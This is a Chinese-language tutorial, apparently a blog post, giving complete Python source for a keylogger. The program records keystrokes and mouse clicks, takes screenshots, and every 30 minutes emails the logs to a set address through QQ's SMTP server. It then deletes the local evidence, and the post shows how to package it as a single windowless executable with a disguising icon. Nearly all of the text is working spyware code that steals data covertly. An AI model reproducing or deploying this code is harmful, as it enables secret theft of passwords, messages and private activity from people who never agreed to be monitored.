前言
一、需要使用的库
二、编写步骤
1.键盘的监控
2.鼠标的监控
3.屏幕截图的实现
4.实现邮件的自动发送
5.文件的删除
6.程序运行频率
7.总控
8.对程序进行打包
对键盘的键入值进行记录生成txt文件并截图,记录鼠标的使用,定时自动将记录的文件发送至指定邮箱。可实现对电脑使用的监控。
from pynput.keyboard import Listener as LL # 当导入包冲突是时,后面的会将前面的覆盖掉,这时候用as给导入的包取个别名解决
from pynput.mouse import Button, Listener, Controller
from pynput import keyboard
from PIL import ImageGrab
import time
import threading
import os
import sys
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication
from email.mime.text import MIMEText
import socket
import smtplib
注意:pynput只能使用低于1.6.8的版本,否则会导致打包后无法打开。
在对键盘监控前,先定义所有按键输入的列表
all_key = []
此处仅为对按键的记录方法的编写,后续可拓展为按指定键停止监听或按指定键立即发送邮件。
def on_release(key):
mark_key = str(key)
all_key.append(str(key))
# 按下enter时txt记录按键记录并清空当前记录
if key == keyboard.Key.enter:
with open('.\\Data.txt', 'a') as f: # 生成一个txt文件存储按键记录
f.write(str(all_key))
f.write('\n')
all_key.clear()
kb_prt_Sc() #按键截图方法
键盘开始监听
def start_listen():
with LL(on_press=None, on_release=on_release) as listener1:
listener1.join()
该处代码仅对鼠标的左右键点击进行了定义
def left(button):
if button == Button.left:
# print("左键")
with open('.\\Data.txt', 'a') as f: # 将按键写入txt中
f.write('左键 ')
# mouse.move(0, 100)
# pyautogui.keyDown('E') # 可拓展为当鼠标移动后自动按下某个按键
# print('鼠标移动了')
def right(button):
if button == Button.right:
# print("右键")
with open('.\\Data.txt', 'a') as f:
f.write('右键 ')
接下来对鼠标的点击进行调用
def mouse_click(x, y, button, pressed):
if pressed:
# 点击
t1 = threading.Thread(target=right, args=(button,))
t2 = threading.Thread(target=left, args=(button,))
t1.start()
t2.start()
鼠标开始监听
def mouseListener():
with Listener(on_click=mouse_click) as listener:
listener.join()
屏幕截图可以用函数的形式实现,可用于键盘键入时的截图,也可用于鼠标单击的截图。
# 屏幕截图
def kb_prt_Sc():
time_now = time.strftime("%m%d-%H%M%S", time.localtime()) # 获取当前时间
img_k = ImageGrab.grab()
img_k.save(time_now + 'K' + '.png', 'PNG') # 用截图的时间来命名截图
还可以将此方法用于邮件发送前,以截取发送邮件时电脑的状态。
再进行邮件自动发送的编写前,首先要开启邮箱的IMAP/SMTP服务。
# 发送邮件
def send_msg():
msg_prt_Sc()
fromaddr = '[email protected]' # 建议使用qq邮箱
password = 'zzzzzzzzzzzzzzzzz' # 获取自己邮箱的授权码
toaddrs = ['[email protected]'] # 目标邮箱
m = MIMEMultipart()
content = 'Test.' # 邮件正文
textApart = MIMEText(content)
m.attach(textApart)
m['Subject'] = 'Test' # 邮件标题
# 获取当前路径下的文件
path = os.getcwd()
path_list = os.listdir(path)
path_list.sort() # 对获取的文件进行排序
# 循环找到该路径下以.png .txt为后缀的文件(邮件所需要发送的附件)
for file in path_list:
if (file.endswith(".png") or file.endswith(".txt")):
# print(file)
fileApart = MIMEApplication(open(file, 'rb').read()) # 向邮件添加附件
fileApart.add_header('Content-Disposition', 'attachment', filename=file)
m.attach(fileApart)
try:
server = smtplib.SMTP('smtp.qq.com')
server.login(fromaddr, password)
server.sendmail(fromaddr, toaddrs, m.as_string())
server.quit()
# print('success!')
except smtplib.SMTPException as e:
pass
# print('error:', e) # 打印错误
except socket.gaierror as e:
# print('error:', e)
pass
截图和按键记录的文件发送后不需要保留在本地中,可以将其删除节省空间。
def delete():
# 删除当前目录下除了此工程的文件
cur_file = os.path.basename(sys.argv[0])
dir_content = os.listdir(".")
for f in dir_content:
if f != cur_file and (f.endswith(".png") or f.endswith(".txt")):
# 删除以.png .txt 后缀结尾的文件
os.remove(f)
我们可以自行设置邮件发送的频率。
def rest_time():
send_msg()
# print('发送邮件')
delete()
# print('删除文件')
# 运行频率
t = threading.Timer(1800, rest_time) # 单位为秒
t.start()
程序运行main即可
# 总控
def main():
t3 = threading.Thread(target=mouseListener, )
t4 = threading.Thread(target=start_listen, )
t4.start() # 鼠标监听开启
t3.start() # 键盘监听开启
rest_time() # 设置时间间隔
将程序打包成可执行文件可以实现在任意电脑进行运行,不需要再依赖于安装了各种库的电脑。
对python程序的打包可使用pyinstaller
pip pyinstaller
安装成功后,在当前文件进行打包即可
pyinstaller -F -w -i ***.ico *****.py
pyinstaller 命令 -F 为只生成一个单一的可执行文件,-w 为不生成命令窗口 , -i 可为可执行文件添加一个图标,注意格式需要是.ico。
生成ico图标:在线生成透明ICO图标——ICO图标制作